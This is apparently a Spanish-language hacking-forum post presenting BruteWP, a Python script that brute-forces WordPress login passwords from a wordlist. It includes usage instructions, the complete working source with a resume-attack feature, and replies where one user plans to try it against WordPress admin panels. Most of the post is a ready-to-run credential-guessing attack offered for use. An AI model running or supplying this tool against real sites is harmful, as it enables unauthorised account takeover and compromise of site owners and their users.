(https://cloud.githubusercontent.com/assets/12612092/9469601/65fcc94c-4b1e-11e5-8362-50968127ae0e.JPG)
Existe una herramienta muy buena para la auditoría de CMS WordPress, su nombre es Wpscan, esta herramienta permite realizar un análisis de vulnerabilidades para este tipo de gestor de contenidos. Además, esta herramienta permite realizar un ataque de fuerza bruta, el problema radica principalmente en que el ataque de fuerza bruta que hace esta herramienta entrega muchos falsos positivos, por esta razón se comprobó que no es muy fiable al momento de realizar este tipo de ataques.
Por esta razón se desarrolló una herramienta escrita en Python la cual se denominó BruteWP. Esta herramienta permite realizar un ataque de fuerza bruta de manera efectiva y para cualquier versión de WordPress
Forma de uso:
./BruteWP.py -h
./BruteWP.py -t [target] -u [user] -w [wordlist] -r [restaurar ataque]
(https://cloud.githubusercontent.com/assets/12612092/9444763/db527b4e-4a5e-11e5-95ce-47b6e384772b.JPG)
(https://cloud.githubusercontent.com/assets/12612092/9443296/b0a38bc0-4a56-11e5-9b50-4715eb7072c4.JPG)
Como se puede observar en la imagen anterior, este script requiere parámetros obligatorios como son, la URL ejemplo : www.mipagina.com/wp-login.php, el username (Para obtener el username se puede utilizar la herramienta Wpscan), y finalmente el diccionario.
El valor agregado que posee esta herramienta, es que si se desea pausar el escaneo, es posible reanudarlo en cualquier momento con la opción -r, esto es muy útil, ya que así se podrá continuar con la auditoría sin ningún problema.
#!/usr/bin/python
#-*- coding:UTF-8 -*-
import argparse
import httplib
import urllib
import socket
import time
def attack(target,user,wordlist, restore = None):
i= target.find("/")
site = target[:i]
post = target[i:]
iteracion = open('iteracion.txt','a+')
wordlist = open(wordlist, 'r+')
it = iteracion.readlines()
if len(it) == 0:
iteracion.write("1\n")
iteracion.close()
iteracion = open('iteracion.txt','r+')
it = iteracion.readlines()
it2= int(str(it[len(it)-1]).strip())
aux = wordlist.readlines()
test = aux[it2-1:]
cont = it2
if restore:
print "Restaurando ataque...\n"
else:
test = aux
cont=1
iteracion = open('iteracion.txt','w+')
for password in test:
try:
cabeceras = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
parametros = urllib.urlencode({'log': user,'pwd':password.strip()})
abrir_conexion = httplib.HTTPConnection(site)
abrir_conexion.request("POST", post, parametros, cabeceras)
respuesta = abrir_conexion.getresponse()
if respuesta.status == 302 or respuesta.status == 303:
print '%d- Password: %s FOUND!!!' %(cont,password.strip())
break
elif respuesta.status == 200:
print '%d- Password: %s Not found!!!' %(cont,password.strip())
else:
print 'ERROR!!!!'
cont+=1
abrir_conexion.close()
except KeyboardInterrupt:
print '\n[*]Ejecución terminada por el teclado[*]'
print '[*]Status saved![*]'
iteracion.write(str(cont)+"\n")
break
except (socket.gaierror, socket.error,httplib.BadStatusLine):
print '[*]Status saved![*]'
iteracion.write(str(cont)+'\n')
time.sleep(5)
continue
def conexion():
parser = argparse.ArgumentParser(usage="./BruteWP.py -t [target] -u [user] -w [wordlist]")
parser.add_argument("-t", help="Target a atacar. ejemplo: www.sitewordpress/wp-login.php")
parser.add_argument("-u", help="Nombre de usuario de WordPress")
parser.add_argument("-w", help="Diccionario para realizar el ataque")
parser.add_argument("-r", action="store_true", help="Restaura la última sesión del ataque")
args = parser.parse_args()
print """
____ _ __ ______
| __ ) _ __ _ _| |_ __\ \ / / _ \
| _ \| '__| | | | __/ _ \ \ /\ / /| |_) |
| |_) | | | |_| | || __/\ V V / | __/
|____/|_| \__,_|\__\___| \_/\_/ |_|
v 1.1 @Samuel.E
"""
if args.u != None and args.w != None and args.t != None and args.r:
attack(args.t,args.u,args.w, True)
elif args.u != None and args.w != None and args.t != None:
attack(args.t,args.u,args.w)
else:
parser.print_help()
if __name__ == '__main__':
conexion()
Repo: https://github.com/samuelproject/BruteWP
Saludos!
ANTRAX
En el caso de la pausa por primera vez, como se realiza? para que pueda ser restaurado sin problemas [se me ocurre Ctrl + c]
Saludos!
Pedazo de tool, será un placer probarla contra algún panel de administración de WordPress. Muy grande, @ANTRAX (https://underc0de.org/foro/index.php?action=profile;u=1)